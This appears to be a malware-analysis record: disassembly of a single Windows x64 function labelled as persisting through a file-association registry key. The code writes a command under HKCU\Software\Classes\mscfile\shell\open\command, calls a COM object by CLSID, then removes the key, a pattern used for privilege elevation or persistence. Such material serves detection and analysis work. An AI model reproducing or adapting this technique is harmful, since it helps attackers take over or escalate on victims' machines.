Function at 0x140016a41
Capabilities:
Persist via default file association registry key
Set registry value

Disassembly:
jmp 0x140029420
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x528
lea rbp, [rsp + 0x50]
mov rdi, rsp
mov ecx, 0x14a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x548]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x4c8], rax
lea rcx, [0x14006d19a]
call fcn.140016276
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0xc0000022
mov dword [rbp + 0x64], 0x80004005
mov qword [rbp + 0xc8], 0
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0x108], 0
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x84], eax
mov rax, qword [0x140065a08]
mov dword [rax + 0x58], 2
mov edx, 0x20a
lea rcx, [rbp + 0x130]
call fcn.140016c2b
mov rcx, qword [rbp + 0x4f0]
call fcn.14001680c
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
jne 0x1400294ff
mov dword [rbp + 0x44], 0xc000000d
jmp 0x140029703
lea rdx, str.SoftwareClassesmscfile
lea rcx, [rbp + 0x130]
call fcn.14001616d
lea rdx, str._shellopencommand
lea rcx, [rbp + 0x130]
call fcn.1400165e1
lea rax, [rbp + 0x24]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x130]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cdqe
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
je 0x140029585
jmp 0x140029703
mov rax, qword [rbp + 0xe8]
lea rax, [rax + rax + 2]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xa8], 5
mov rax, qword [0x140065a08]
mov eax, dword [rax + 0x58]
mov dword [rbp + 0x4c4], eax
cmp dword [rbp + 0x4c4], 1
je 0x140029600
cmp dword [rbp + 0x4c4], 2
je 0x1400295c7
jmp 0x140029634
mov rax, qword [rbp + 0x4f0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x130]
lea rcx, str.HKEY_CURRENT_USER
call fcn.14001628f
movzx eax, al
test eax, eax
je 0x1400295fe
mov qword [rbp + 0xa8], 0
jmp 0x140029670
mov r9d, dword [rbp + 0xe8]
mov r8, qword [rbp + 0x4f0]
xor edx, edx
lea rcx, [rbp + 0x130]
call fcn.1400167fd
test eax, eax
jl 0x140029632
mov dword [rbp + 4], 1
mov qword [rbp + 0xa8], 0
jmp 0x140029670
mov eax, dword [rbp + 0xe8]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x4f0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x140047438]
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0xa8], rax
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp + 0xc8], 0
cmp qword [rbp + 0xa8], 0
je 0x140029694
jmp 0x140029703
lea r9, [rbp + 0x108]
mov r8d, 4
lea rdx, [0x140044048]
lea rcx, str.752438CB_E941_433F_BCB4_8B7D2329F0C8
call fcn.140016889
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
je 0x1400296bf
jmp 0x140029703
cmp qword [rbp + 0x108], 0
jne 0x1400296d2
mov dword [rbp + 0x64], 0x8007000e
jmp 0x140029703
mov rax, qword [rbp + 0x108]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x108]
call qword [rax + 0x90]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jl 0x1400296f9
mov dword [rbp + 0x44], 0
xor eax, eax
test eax, eax
jne 0x1400294b7
cmp qword [rbp + 0xc8], 0
je 0x14002971a
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rbp + 0x108], 0
je 0x140029738
mov rax, qword [rbp + 0x108]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x108]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
cmp dword [rbp + 0x84], 0
jne 0x140029747
call qword [sym.imp.ole32.dll_CoUninitialize]
cmp dword [rbp + 4], 0
je 0x140029752
call fcn.140016b9a
cmp dword [rbp + 0x24], 1
jne 0x14002976b
lea rdx, str.SoftwareClassesmscfile
mov rcx, 0xffffffff80000001
call fcn.140016046
mov eax, dword [rbp + 0x44]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14004c858]
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x4c8]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x4d8]
pop rdi
pop rbp
ret